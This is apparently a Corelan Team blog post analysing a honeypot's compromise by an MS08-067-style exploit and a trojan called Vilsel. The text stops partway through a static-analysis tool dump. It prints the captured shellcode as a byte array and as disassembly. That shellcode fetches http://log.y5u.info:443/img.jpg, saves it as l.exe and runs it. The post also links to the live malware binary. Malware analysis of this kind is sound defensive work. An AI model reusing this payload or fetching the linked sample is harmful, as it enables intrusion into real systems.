14,842 views
The Honeypot Incident – How strong is your UF (Reversing FU)
Introduction
Interested in capturing, documenting and analyzing scans and malicious activity, Corelan Team decided to set up a honeypot and put it online. In the first week of december 2010, Obzy built a machine (default Windows XP SP3 installation, no patches, firewall turned off), named it "EGYPTS-AIRWAYS", set up a honeypot + some other monitoring tools, and connected it to the internet.
As expected, we quickly started to see all kinds of traffic… some of them were obvious port scans, others were less obvious recons or attacks. Both exciting and interesting… We could probably spend some time to document the various types of attacks, maybe build a nice table with figures and produce some kick-ass management graphs and do some trends analysis. It would be a fun exercise…
…but nothing beats the real deal.
Nothing beats the thrill of observing an actual exploit being used, a machine getting hacked, rooted / infected, (ab)used,….
And that’s what happened.
Within the first 2 hours after connecting the box to the internet, something happened…. The machine was not patched, firewall turned off… so it got pwned. Hard. Our "sitting duck" was shot… the honeypot project turned into a live malware analysis lab :)
Scope & Tools
What follows below is an analysis of the compromise (initial exploit which staged the infection, and the infection itself). This post is split into several chapters and stages. We wanted to tell a realistic story of the analysis and not so much explain the analysis, pretending we discovered all of the "goodies" during our first run. That would be not realistic and simply not true. We spent a lot of time on this analysis, had to go back to specific functions & redo some of the analysis.
Note that we did not just run the malware through a behavioural based analysis (sandbox) tool, but we really wanted to know "how" things are done, and not just copy/paste the report on "what" it does.
We faced a lot of frustrations… spent a lot of time on it… and we had to give up in the end (most likely because we are not really seasoned / experienced malware analysts).
What you’re about to read is a chronological write-up of the analysis steps (and not necessarily the chronological infection).
We will explain how the machine got owned and what happened right after it got owned. We’ll try to document the impact to our machine (in terms of infection, behaviour, etc). We have also tried to reveal how the machine is infected permanently (if that is the case), but as you will find out later, this part of the analysis appeared to be more difficult than anticipated, so this post ends with a challenge for you, the reader.
There are various ways to analyze malware. For the sake of this analysis, we mainly used a quite rudimentary (manual) technique… we loaded binaries in a debugger and stepped through the individual instructions. Unarguably, this is not only time intensive and rather dangerous, it might also get very complex very fast, and that might make us miss/ignore things. Of course, we could have used behavioural analysis tools as our main toolset and merely document WHAT the malware does, and then try to find proof for the behaviour… but that would make us miss certain things as well.
You will notice however that, at a certain point in the analysis, we actually had to look at the behaviour in order to fill in the gaps between what we could see in the debugger during the initial runs, and what the malware actually does. That allowed us to go back and look at very specific parts of the malware and look for proof for that specific behaviour.
This explains why we ended up using a couple of simple/free tools after all, assisting us with revealing some of the missing pieces.
The combination of both (tools + debugger) should allow us to glue most parts together and demonstrate the various techniques that are used by malware to hide (from debuggers, from AV, from users… from being detected in general)
Analyzing malware is fun, can be frustrating, is important (if you care about what happens behind the curtains), and above all… it’s a great learning experience.
Again, as you will discover, we have not been able to properly document hard proof for all of the malware components.
Read the post so you can see what we did and did not discover, and then check out the last chapter… "The Challenge"
Fasten your seatbelts for an intense ride.
Note : links in this document may point to malicious executables. Pay attention when downloading / opening those files !!
svchost.exe
I’m sure you can imagine the thrill we experienced, and picture the look on our faces when we noticed a messagebox popping on the desktop of the honeypot machine. As we were sorting through events and alerts in the honeypot console, we were already watching the desktop up close. There was absolutely no way we could have missed the crash message stating that the svchost.exe process had crashed unexpectedly. This obviously set off an alarm bell.
The reality is that, by the time we could actually read the text on the popup, the machine already got owned and infected…
At that time, we decided to keep the machine running for a short while (with our monitoring tools still in place), then isolated it (disconnected it from the net), and started the forensic analysis.
I guess it’s unnecessary to state that it would look really bad… If a service, running with SYSTEM permissions, gets exploited, a lot of nasty things can happen.
Note : all simulations & analysis steps below were executed with administrator permissions, and not as SYSTEM.
December 2nd, 2010 21:43:52 GMT+1 – the initial compromise
A wireshark traffic capture of the initial compromise shows this :
This looks like a successful MS08-067 netapi exploit to me (Remember Conficker? You thought netapi exploits were dead & all machines patched & cleaned ?). Anyways, in the TCP session dump, I noticed a bunch of nops followed by what *might* be shellcode :
I converted the ‘shellcode’ to bytes, converted it into a C array and pasted it into a little c application designed to test shellcode (shellcodetest.c). I compiled the code (with Dev-C++) and loaded the compiled binary in a debugger.
Note : you can download a copy of the c script here : http://redmine.corelan.be:8800/attachments/download/178/honeypot_incident_payloadtest.c
As expected, the captured and extracted payload turned out to be shellcode indeed.
The first few bytes after the nops represent a typical GetPC stub (making EBX point at the address of FLDZ), followed by a decoder routine. (XOR [EBX+E],0EE + INC EBX + LOOPD)
After decoding the payload, this is what we get (at [EBX+E]):
00402026 E9 E7000000 JMP TestPayl.00402112 0040202B 6A 30 PUSH 30 0040202D 59 POP ECX 0040202E 64:8B01 MOV EAX,DWORD PTR FS:[ECX] 00402031 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 00402034 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] 00402037 AD LODS DWORD PTR DS:[ESI] 00402038 5F POP EDI 00402039 8BF7 MOV ESI,EDI 0040203B 8B68 08 MOV EBP,DWORD PTR DS:[EAX+8] 0040203E 6A 06 PUSH 6 00402040 59 POP ECX 00402041 E8 87000000 CALL TestPayl.004020CD 00402046 ^E2 F9 LOOPD SHORT TestPayl.00402041 00402048 87F5 XCHG EBP,ESI 0040204A 33C0 XOR EAX,EAX 0040204C B0 40 MOV AL,40 0040204E 50 PUSH EAX 0040204F 66:B8 0010 MOV AX,1000 00402053 50 PUSH EAX 00402054 50 PUSH EAX 00402055 51 PUSH ECX 00402056 FF55 08 CALL DWORD PTR SS:[EBP+8] 00402059 97 XCHG EAX,EDI 0040205A EB 21 JMP SHORT TestPayl.0040207D 0040205C 5E POP ESI 0040205D 68 E8000000 PUSH 0E8 00402062 59 POP ECX 00402063 68 95000000 PUSH 95 00402068 5A POP EDX 00402069 8BDF MOV EBX,EDI 0040206B F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 0040206D 33C0 XOR EAX,EAX 0040206F 50 PUSH EAX 00402070 50 PUSH EAX 00402071 03D3 ADD EDX,EBX 00402073 52 PUSH EDX 00402074 53 PUSH EBX 00402075 50 PUSH EAX 00402076 50 PUSH EAX 00402077 FF55 04 CALL DWORD PTR SS:[EBP+4] 0040207A FF55 10 CALL DWORD PTR SS:[EBP+10] 0040207D E8 DAFFFFFF CALL TestPayl.0040205C 00402082 8B6C24 04 MOV EBP,DWORD PTR SS:[ESP+4] 00402086 8DB5 00040000 LEA ESI,DWORD PTR SS:[EBP+400] 0040208C 68 94000000 PUSH 94 00402091 8F06 POP DWORD PTR DS:[ESI] 00402093 56 PUSH ESI 00402094 FF55 14 CALL DWORD PTR SS:[EBP+14] 00402097 837E 08 01 CMP DWORD PTR DS:[ESI+8],1 0040209B 75 2D JNZ SHORT TestPayl.004020CA 0040209D 8D45 22 LEA EAX,DWORD PTR SS:[EBP+22] 004020A0 50 PUSH EAX 004020A1 FF55 00 CALL DWORD PTR SS:[EBP] 004020A4 55 PUSH EBP 004020A5 5E POP ESI 004020A6 87EF XCHG EDI,EBP 004020A8 83C7 18 ADD EDI,18 004020AB 8BE8 MOV EBP,EAX 004020AD E8 1B000000 CALL TestPayl.004020CD 004020B2 33C9 XOR ECX,ECX 004020B4 51 PUSH ECX 004020B5 51 PUSH ECX 004020B6 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C] 004020B9 50 PUSH EAX 004020BA 8D46 29 LEA EAX,DWORD PTR DS:[ESI+29] 004020BD 50 PUSH EAX 004020BE 51 PUSH ECX 004020BF FF56 18 CALL DWORD PTR DS:[ESI+18] 004020C2 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C] 004020C5 50 PUSH EAX 004020C6 50 PUSH EAX 004020C7 FF56 0C CALL DWORD PTR DS:[ESI+C] 004020CA FF56 10 CALL DWORD PTR DS:[ESI+10] 004020CD 51 PUSH ECX 004020CE 56 PUSH ESI 004020CF 8B75 3C MOV ESI,DWORD PTR SS:[EBP+3C] 004020D2 8B7435 78 MOV ESI,DWORD PTR SS:[EBP+ESI+78] 004020D6 03F5 ADD ESI,EBP 004020D8 56 PUSH ESI 004020D9 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20] 004020DC 03F5 ADD ESI,EBP 004020DE 33C9 XOR ECX,ECX 004020E0 49 DEC ECX 004020E1 41 INC ECX 004020E2 AD LODS DWORD PTR DS:[ESI] 004020E3 03C5 ADD EAX,EBP 004020E5 33DB XOR EBX,EBX 004020E7 0FBE10 MOVSX EDX,BYTE PTR DS:[EAX] 004020EA 38F2 CMP DL,DH 004020EC 74 08 JE SHORT TestPayl.004020F6 004020EE C1CB 0D ROR EBX,0D 004020F1 03DA ADD EBX,EDX 004020F3 40 INC EAX 004020F4 ^EB F1 JMP SHORT TestPayl.004020E7 004020F6 3B1F CMP EBX,DWORD PTR DS:[EDI] 004020F8 ^75 E7 JNZ SHORT TestPayl.004020E1 004020FA 5E POP ESI 004020FB 8B5E 24 MOV EBX,DWORD PTR DS:[ESI+24] 004020FE 03DD ADD EBX,EBP 00402100 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] 00402104 8B5E 1C MOV EBX,DWORD PTR DS:[ESI+1C] 00402107 03DD ADD EBX,EBP 00402109 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] 0040210C 03C5 ADD EAX,EBP 0040210E AB STOS DWORD PTR ES:[EDI] 0040210F 5E POP ESI 00402110 59 POP ECX 00402111 C3 RETN 00402112 E8 14FFFFFF CALL TestPayl.0040202B
This is what the code does :
First, the routine between 0x004020CD and 0x00402111 will get the base address of kernel32 and the function pointer to LoadLibraryA :
After this function ends, we see the function pointer to LoadLibraryA in EAX, and the base address of kernel32.dll in EBP.
In subsequent runs of the same routine (loop), the function pointer to a few other API’s is retrieved and stored at an offset of EBP (which is set to the .data section of the binary in our case. Together with the LoadLibraryA pointer, the stack at EBP looks like this :
- pointer to LoadLibrary (EBP)
- pointer to CreateThread (EBP+4)
- pointer to VirtualAlloc (EBP+8)
- pointer to WinExec (EBP+C)
- pointer to ExitThread (EBP+10)
- pointer to GetVersionA (EBP+14)
Next, VirtualAlloc() is called to allocate a memory area of 4096 bytes as RWX. This function returns a pointer to the newly allocated block of memory and stores that pointer in EAX.
Next, the REP MOVS instruction is used to copy payload from [ESI] to [EDI] (which points to 0x00480000 in the test app). After the copy completes, we can find a copy of the payload at 0x00480000 :
Next, a call to CreateThread is executed, pointing the ThreadFunction parameter to the newly allocated memory / copied shellcode at 00480000. In essence, this function call will create a new thread, which will execute within the virtual address space of the calling process.
After this call, we see a call to ExitThread() (EBP+10)…
Finally, this first stage will exit… Nothing special happened so far, right ? Well, that’s obviously not true. Let’s take it one step back… The child thread actually did something interesting, but it happened a bit outside of the current debugger view. In fact, the code that was copied to 0x00480000 was executed in a new thread:
"\x8B\x6C\x24\x04\x8D\xB5\x00\x04\x00\x00\x68\x94\x00\x00\x00\x8F" "\x06\x56\xFF\x55\x14\x83\x7E\x08\x01\x75\x2D\x8D\x45\x22\x50\xFF" "\x55\x00\x55\x5E\x87\xEF\x83\xC7\x18\x8B\xE8\xE8\x1B\x00\x00\x00" "\x33\xC9\x51\x51\x8D\x46\x1C\x50\x8D\x46\x29\x50\x51\xFF\x56\x18" "\x8D\x46\x1C\x50\x50\xFF\x56\x0C\xFF\x56\x10\x51\x56\x8B\x75\x3C" "\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41" "\xAD\x03\xC5\x33\xDB\x0F\xBE\x10\x38\xF2\x74\x08\xC1\xCB\x0D\x03" "\xDA\x40\xEB\xF1\x3B\x1F\x75\xE7\xCC\x8B\x5E\x24\x03\xDD\x66\x8B" "\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xAB\x5E\x59\xC3" "\xE8\x14\xFF\xFF\xFF\x7B\x1D\x80\x7C\xD7\x06\x81\x7C\xF1\x9A\x80" "\x7C\x0D\x25\x86\x7C\xF8\xC0\x80\x7C\x7E\x2B\x81\x7C\x36\x1A\x2F" "\x70\x6C\x2E\x65\x78\x65\x00\x75\x72\x6C\x6D\x6F\x6E\x00\x68\x74" "\x74\x70\x3A\x2F\x2F\x6C\x6F\x67\x2E\x79\x35\x75\x2E\x69\x6E\x66" "\x6F\x3A\x34\x34\x33\x2F\x69\x6D\x67\x2E\x6A\x70\x67\x00\x00\x00";
Or, in the debugger :
004021C0 8B6C24 04 MOV EBP,DWORD PTR SS:[ESP+4] 004021C4 8DB5 00040000 LEA ESI,DWORD PTR SS:[EBP+400] 004021CA 68 94000000 PUSH 94 004021CF 8F06 POP DWORD PTR DS:[ESI] 004021D1 56 PUSH ESI 004021D2 FF55 14 CALL DWORD PTR SS:[EBP+14] 004021D5 837E 08 01 CMP DWORD PTR DS:[ESI+8],1 004021D9 75 2D JNZ SHORT TestPayl.00402208 004021DB 8D45 22 LEA EAX,DWORD PTR SS:[EBP+22] 004021DE 50 PUSH EAX 004021DF FF55 00 CALL DWORD PTR SS:[EBP] 004021E2 55 PUSH EBP 004021E3 5E POP ESI 004021E4 87EF XCHG EDI,EBP 004021E6 83C7 18 ADD EDI,18 004021E9 8BE8 MOV EBP,EAX 004021EB E8 1B000000 CALL TestPayl.0040220B 004021F0 33C9 XOR ECX,ECX 004021F2 51 PUSH ECX 004021F3 51 PUSH ECX 004021F4 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C] 004021F7 50 PUSH EAX 004021F8 8D46 29 LEA EAX,DWORD PTR DS:[ESI+29] 004021FB 50 PUSH EAX 004021FC 51 PUSH ECX 004021FD FF56 18 CALL DWORD PTR DS:[ESI+18] 00402200 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C] 00402203 50 PUSH EAX 00402204 50 PUSH EAX 00402205 FF56 0C CALL DWORD PTR DS:[ESI+C] 00402208 FF56 10 CALL DWORD PTR DS:[ESI+10] 0040220B 51 PUSH ECX 0040220C 56 PUSH ESI 0040220D 8B75 3C MOV ESI,DWORD PTR SS:[EBP+3C] 00402210 8B7435 78 MOV ESI,DWORD PTR SS:[EBP+ESI+78] 00402214 03F5 ADD ESI,EBP 00402216 56 PUSH ESI 00402217 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20] 0040221A 03F5 ADD ESI,EBP 0040221C 33C9 XOR ECX,ECX 0040221E 49 DEC ECX 0040221F 41 INC ECX 00402220 AD LODS DWORD PTR DS:[ESI] 00402221 03C5 ADD EAX,EBP 00402223 33DB XOR EBX,EBX 00402225 0FBE10 MOVSX EDX,BYTE PTR DS:[EAX] 00402228 38F2 CMP DL,DH 0040222A 74 08 JE SHORT TestPayl.00402234 0040222C C1CB 0D ROR EBX,0D 0040222F 03DA ADD EBX,EDX 00402231 40 INC EAX 00402232 ^EB F1 JMP SHORT TestPayl.00402225 00402234 3B1F CMP EBX,DWORD PTR DS:[EDI] 00402236 ^75 E7 JNZ SHORT TestPayl.0040221F 00402238 CC INT3 00402239 8B5E 24 MOV EBX,DWORD PTR DS:[ESI+24] 0040223C 03DD ADD EBX,EBP 0040223E 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] 00402242 8B5E 1C MOV EBX,DWORD PTR DS:[ESI+1C] 00402245 03DD ADD EBX,EBP 00402247 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] 0040224A 03C5 ADD EAX,EBP 0040224C AB STOS DWORD PTR ES:[EDI] 0040224D 5E POP ESI 0040224E 59 POP ECX 0040224F C3 RETN 00402250 E8 14FFFFFF CALL TestPayl.00402169 00402255 7B 1D JPO SHORT TestPayl.00402274 00402257 807CD7 06 81 CMP BYTE PTR DS:[EDI+EDX*8+6],81 0040225C ^7C F1 JL SHORT TestPayl.0040224F 0040225E 9A 807C0D25 867C CALL FAR 7C86:250D7C80 ; Far call 00402265 F8 CLC 00402266 C080 7C7E2B81 7C ROL BYTE PTR DS:[EAX+812B7E7C],7C ; Shift constant out of range 1..31 0040226D 36:1A2F SBB CH,BYTE PTR SS:[EDI] 00402270 70 6C JO SHORT TestPayl.004022DE 00402272 2E: PREFIX CS: ; Superfluous prefix 00402273 65:78 65 JS SHORT TestPayl.004022DB ; Superfluous prefix 00402276 0075 72 ADD BYTE PTR SS:[EBP+72],DH 00402279 6C INS BYTE PTR ES:[EDI],DX ; I/O command 0040227A 6D INS DWORD PTR ES:[EDI],DX ; I/O command 0040227B 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command 0040227C 6E OUTS DX,BYTE PTR ES:[EDI] ; I/O command 0040227D 0068 74 ADD BYTE PTR DS:[EAX+74],CH 00402280 74 70 JE SHORT TestPayl.004022F2 00402282 3A2F CMP CH,BYTE PTR DS:[EDI] 00402284 2F DAS 00402285 6C INS BYTE PTR ES:[EDI],DX ; I/O command 00402286 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command 00402287 67:2E:79 35 JNS SHORT TestPayl.004022C0 ; Superfluous prefix 0040228B 75 2E JNZ SHORT TestPayl.004022BB 0040228D 696E 66 6F3A3434 IMUL EBP,DWORD PTR DS:[ESI+66],34343A6F 00402294 332F XOR EBP,DWORD PTR DS:[EDI] 00402296 696D 67 2E6A7067 IMUL EBP,DWORD PTR SS:[EBP+67],67706A2E
Let’s take a closer look at CreateThread :
HANDLE WINAPI CreateThread( __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress, __in_opt LPVOID lpParameter, __in DWORD dwCreationFlags, __out_opt LPDWORD lpThreadId );
In the CreateThread call, we see 2 parameters :
lpStartAddress (0x00480000, pointing at the beginning of the copied payload) and lpParameter (0x00480095, pointing to a location inside the copied payload). When the CreateThread() function is called (and succeeds), a handle to the new thread is returned. Since lpThreadAttributes is set to zero, this handle cannot be inherited by child processes (which is not an issue here).
So, a new thread will be created, using the data at 0x00480095 as parameter :
00480095 7B 1D 80 7C D7 06 81 7C F1 9A 80 7C 0D 25 86 7C {€|×|ñš€|.%†| 004800A5 F8 C0 80 7C 7E 2B 81 7C 36 1A 2F 70 6C 2E 65 78 øÀ€|~+|6/pl.ex 004800B5 65 00 75 72 6C 6D 6F 6E 00 68 74 74 70 3A 2F 2F e.urlmon.http:// 004800C5 6C 6F 67 2E 79 35 75 2E 69 6E 66 6F 3A 34 34 33 log.y5u.info:443 004800D5 2F 69 6D 67 2E 6A 70 67 /img.jpg
The first 6 dwords are in fact API pointers (the ones that were originally stored at EBP+offset earlier on) :
- 7C801D7B : kernel32.LoadLibraryA()
- 7C8106D7 : kernel32.CreateThread()
- 7C809AF1 : kernel32.VirtualAlloc()
- 7C86250D : kernel32.WinExec()
- 7C80C0F8 : kernel32.ExitThread()
- 7C812B7E : GetVersionExA()
The next dwords represent this :
36 1A 2F 70 6/p
(unclear at this point what this means or what it’s used for, but that doesn’t really matter).
Next, we see this :
004800A5 6C 2E 65 78 l.ex 004800B5 65 00 75 72 6C 6D 6F 6E 00 68 74 74 70 3A 2F 2F e.urlmon.http:// 004800C5 6C 6F 67 2E 79 35 75 2E 69 6E 66 6F 3A 34 34 33 log.y5u.info:443 004800D5 2F 69 6D 67 2E 6A 70 67 /img.jpg
- l.exe
- urlmon
- http://log.y5u.info:443/img.jpg
Without analysing the code, we would suspect that it will use an API in urlmon.dll to download http://log.y5u.info:443/img.jpg, rename it to l.exe, and execute it. This would be a typical staged attack deployed by a lot of malware. So let’s find out if this is the case.
When we reported the exe to Virustotal, only 12 engines discovered that something is "wrong" with the binary. We reported the file again a week later, and 29 out of the 43 engines detected it as malicious. The most commonly used keyword we saw in the virustotal report was "Vilsel". On public forums and websites, this is classified as a low to medium risk trojan. So it looks like the techniques and level of complexity used in this piece of malware, is just "standard behaviour" nowadays. Kinda scary if you think about it.
I enabled ‘break on new thread’ in the debugger and set a breakpoint at 0x00480000, and eventually I could see the code getting called :
First, a kernel32.GetVersionA() call is performed (at 0x00480012). Then a pointer to "urlmon" is put in EAX and also stored on the stack. As expected, a call to kernel32.LoadLibraryA is performed :
As expected, after the urlmon module is loaded, the function pointer to urlmon.URLDownloadToFileA is retrieved (by the routine that starts at 0048004B)
Then, the stack and registers are set up to perform the URLDownloadToFileA() call :
Stack :
0068FFA4 00000000 .... 0068FFA8 004800BE ¾.H. ASCII "http://log.y5u.info:443/img.jpg" 0068FFAC 004800B1 ±.H. ASCII "l.exe" 0068FFB0 00000000 ....
The API call creates a new thread, where the file is downloaded and saved as l.exe, in the current working folder.
Then, the new executable gets executed using WinExec() :
and finally the current thread is terminated using ExitThread()
We’ll call the execution of l.exe "stage 2" from this point forward.
So far so good, nothing special at this point. Time elapsed so far : a few seconds.
Note : you can get a copy of l.exe here : http://redmine.corelan.be:8800/attachments/download/177/l.exe. This is the only file you need to reproduce the analysis below.
December 2nd, 2010 21:43:55 GMT+1 – stage 2 (l.exe)
A few seconds ago, our honeypot box was compromised, a new executable was downloaded and executed. What follows is the analysis of stage 2 of the compromise.
The executable uses the following API imports :
00403000 GetProcAddress KERNEL32 00403004 GetModuleHandleA KERNEL32 00403008 IsBadReadPtr KERNEL32 0040300C GetStartupInfoA KERNEL32 00403014 strcpy MSVCRT 00403018 _except_handler3 MSVCRT 0040301C memset MSVCRT 00403020 _exit MSVCRT 00403024 _XcptFilter MSVCRT 00403028 exit MSVCRT 0040302C _acmdln MSVCRT 00403030 __getmainargs MSVCRT 00403034 strcat MSVCRT 00403038 __setusermatherr MSVCRT 0040303C _adjust_fdiv MSVCRT 00403040 __p__commode MSVCRT 00403044 __p__fmode MSVCRT 00403048 __set_app_type MSVCRT 0040304C _controlfp MSVCRT 00403050 strlen MSVCRT 00403054 memcpy MSVCRT 00403058 malloc MSVCRT 0040305C _initterm MSVCRT 00403060 free MSVCRT
So, unless it uses internal code to locate/execute other API’s, it doesn’t seem to be doing a lot of harm by itself. On the other hand, it would raise a lot of suspicion if l.exe contained references to more dangerous functions right away. Let’s see.
Sys Analyzer reports this :
Anti-Vmware2… interesting. Well, I’m not using vmware, so I should be good to go, right ? :) It might be false positive too. Anyways, since the malware appeared to be running fine on my virtual machine, I don’t expect to see any vm detection routines that would prevent the malware from running. After all, this is 2011. We all are running production desktops and/or servers on VM platforms… It would be silly to prevent malware from running on VM
Beenu Arora’s Malware Analyzer tool reports this : (static analysis)
|---------------------------------------------------------------| | beenudel1986[@]gmail[dot]com | | Malware Analyzer(Static) 2.7 | | 06/2009 analyse_malware.py | | Do Visit www.BeenuArora.com | | Last Updated : 28-11-2010 | |---------------------------------------------------------------| Analysing if PE file... [+] Valid PE file. [+] Malware File Size : 51 KB Checking for Packer Signature.... Identified packer :Microsoft Visual C++ v6.0 [+] Computing Checksum for malware :l.exe [-]Checksum of malware :e5871adb818bad139af5549eedb6bf91 -------- Identifying Strings in the malware--------------- !This program cannot be run in DOS mode. Rich .text `.rdata @.data .rsrc QSVW _^[Y SV3 VWr(3 $;> I;>t })S (I_^x ;T$ ;T$ -----------Performing signatures based scan--------------- [+]Displaying Interesting System Calls Made. [-]Signatures not found..... [+]Displaying Registry Hives Edited. [-]Signatures not found..... [+]Displaying A Little Online Behaviour. [-]Signatures not found..... [+]Displaying the Loaded DLLs. [-]Signatures not found..... [+]Commands Inside the Malware. [-]Signatures not found..... [+]Sys Calls Made. [-]Signatures not found..... [+]Searching if malware is VM aware [-]Signatures not found..... --------------------------------------------------------- !This program cannot be run in DOS mode. Rich .text `.rdata @.data .rsrc QSVW _^[Y SV3 VWr(3 $;> I;>t })S (I_^x ;T$ ;T$ Malware loads following DLLs MSVCRT.dll KERNEL32.dll [-] Disaassembling the first block [0x40221cL] mov ebp esp [0x40221dL] push 0xff [0x40221fL] push 0x403088 [0x402221L] push 0x402210 [0x402226L] mov eax [fs:0x0] [0x40222bL] push eax [0x402231L] mov [fs:0x0] esp [0x402232L] sub esp 0x68 [0x402239L] push ebx [0x40223cL] push esi [0x40223dL] push r15d [0x40223eL] mov [bp-0x18] esp [0x40223fL] xor ebx ebx [0x402242L] mov [bp-0x4] ebx [0x402244L] push 0x2 [0x402247L] call [0x403048] [0x402249L] pop ecx [0x40224fL] or [0x4040e0] 0xff [0x402250L] or [0x4040e4] 0xff [0x402257L] call [0x403044] [0x40225eL] mov ecx [0x4040d4] [0x402264L] mov [ax] ecx [0x40226aL] call [0x403040] [0x40226cL] mov ecx [0x4040d0] [0x402272L] mov [ax] ecx [0x402278L] mov eax [0x40303c] [0x40227aL] mov eax [ax] [0x40227fL] mov [0x4040e8] eax [0x402281L] call 0x40239bL [0x402286L] cmp [0x404010] ebx [0x40228bL] jnz 0x40229fL [0x402291L] push 0x402398 [0x402293L] call [0x403038] [0x402298L] pop ecx [0x40229eL] call 0x402386L [0x40229fL] push 0x40400c [0x4022a4L] push 0x404008 [0x4022a9L] call 0x402380L [0x4022aeL] mov eax [0x4040cc] [0x4022b3L] mov [bp-0x6c] eax [0x4022b8L] lea eax [bp-0x6c] [0x4022bbL] push eax [0x4022beL] push [0x4040c8] [0x4022bfL] lea eax [bp-0x64] [0x4022c5L] push eax [0x4022c8L] lea eax [bp-0x70] [0x4022c9L] push eax [0x4022ccL] lea eax [bp-0x60] [0x4022cdL] push eax [0x4022d0L] call [0x403030] [0x4022d1L] push 0x404004 [0x4022d7L] push 0x404000 [0x4022dcL] call 0x402380L [0x4022e1L] add esp 0x24 [0x4022e6L] mov eax [0x40302c] [0x4022e9L] mov esi [ax] [0x4022eeL] mov [bp-0x74] esi [0x4022f0L] cmp [si] 0x22 [0x4022f3L] jnz 0x402332L [0x4022f6L] inc esi [0x4022f8L] mov [bp-0x74] esi [0x4022f9L] mov al [si] [0x4022fcL] cmp al bl [0x4022feL] jz 0x402306L [0x402300L] cmp al 0x22 [0x402302L] jnz 0x4022f8L [0x402304L] cmp [si] 0x22 [0x402306L] jnz 0x40230fL [0x402309L] inc esi [0x40230bL] mov [bp-0x74] esi [0x40230cL] mov al [si] [0x40230fL] cmp al bl [0x402311L] jz 0x402319L [0x402313L] cmp al 0x20 [0x402315L] jbe 0x40230bL [0x402317L] mov [bp-0x30] ebx [0x402319L] lea eax [bp-0x5c] [0x40231cL] push eax [0x40231fL] call [0x40300c] [0x402320L] test [bp-0x30] 0x1 [0x402326L] jz 0x40233dL [0x40232aL] movzx eax [bp-0x2c] [0x40232cL] jmp near 0x402340L [0x402330L] push eax [0x402340L] push esi [0x402341L] push ebx [0x402342L] push ebx [0x402343L] call [0x403004] [0x402344L] push eax [0x40234aL] call 0x401edfL [0x40234bL] mov [bp-0x68] eax [0x402350L] push eax [0x402353L] call [0x403028] [0x402354L] mov eax [bp-0x14] [0x40235aL] mov ecx [ax] [0x40235dL] mov ecx [cx] [0x40235fL] mov [bp-0x78] ecx [0x402361L] push eax [0x402364L] push ecx [0x402365L] call 0x40237aL [0x402366L] pop ecx [0x40236bL] pop ecx [0x40236cL] ret **This Test shall be performed when you are confirm that suspect is a malware** Anti Debugging traces identification [!] Found a call at: 0x403000 GetProcAddress Malware File System Activity Traces No Filesystem traces :( . Try manually Malware System Hook Calls No System Hook Call traces found :( . Try manually Malware Keyboard Hook Calls No Keyboard Hook Call traces found :( . Try manually Malware Rootkit traces No Rootkit Hook traces found :( . Try manually DEP Setting Change trace No DEP setting change trace found :( . Try manually DLL Injection trace No DLL Injection trace found :( . Try manually Network Connection Traces No Potential Network trace found :( . Try manually Privilage Escalation Potential Traces No Privilage Escalation trace found :( . Try manually [+] Computing Checksum for malware :l.exe [-]Checksum of malware :e5871adb818bad139af5549eedb6bf91 [+] Malware detected! [29/43] (67.4%) [*] Malware names: Trojan/Win32.Vilsel TR/Crypt.ZPACK.Gen Trojan/Win32.Vilsel.gen Win32:Rootkit-gen Win32:Rootkit-gen Generic19.BXFQ Trojan.Generic.5007190 Trojan.Vilsel.auoe TrojWare.Win32.Trojan.Agent.Gen Trojan.Inject.11207 Trojan.Win32.Vilsel!IK Win32.TRCrypt.ZPACK Trojan.Generic.5007190 W32/Vilsel.AUOE!tr Trojan.Generic.5007190 Trojan.Win32.Vilsel Trojan/Vilsel.pzv Trojan Trojan.Win32.Vilsel.auoe Artemis!E5871ADB818B Artemis!E5871ADB818B W32/Suspicious_Gen2.FPBSH Trojan/W32.Vilsel.51712.L Trj/CI.A Trojan.Win32.Generic.523AA010 Trojan.Vilsel.auoe Trojan.Win32.Generic!BT Trojan.Vilsel!y3dOZ/KZxxM [+] For more information you may visit: http://www.virustotal.com/file-scan/report.html?id= dab1de3dc0def76bbb09a9d9a2a3915c5f25bfc93cbf565a66a7cbb336fd134e-1294339231 [!]Creating signatures of the various sections [!]Processing.... [l.exe Section(1/4,.text)] signature = 51 53 56 57 89 74 24 0c 8b 74 24 0c 33 db 8d 7e 0c 57 ff 16 85 c0 75 0e 6a 0a ff 56 04 43 81 fb e8 03 00 00 7c eb 6a 00 ff 56 08 5f 5e 5b 59 c3 8b 4c 24 04 d1 39 75 17 8b 41 1c 8b 51 10 0f be 14 02 40 89 51 18 89 41 1c c7 01 80 00 00 00 8b 41 18 23 01 f7 d8 1b c0 f7 d8 c3 56 8b 74 24 08 33 c0 57 6a ep_only = false section_start_only = true [l.exe Section(2/4,.rdata)] signature = 66 32 00 00 52 32 00 00 42 32 00 00 78 32 00 00 00 00 00 00 68 31 00 00 72 31 00 00 86 31 00 00 9c 31 00 00 a4 31 00 00 b2 31 00 00 ba 31 00 00 c4 31 00 00 5e 31 00 00 e0 31 00 00 f4 31 00 00 04 32 00 00 14 32 00 00 22 32 00 00 34 32 00 00 54 31 00 00 4a 31 00 00 40 31 00 00 d4 31 00 00 38 31 00 00 ep_only = false section_start_only = true [l.exe Section(3/4,.data)] signature = 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 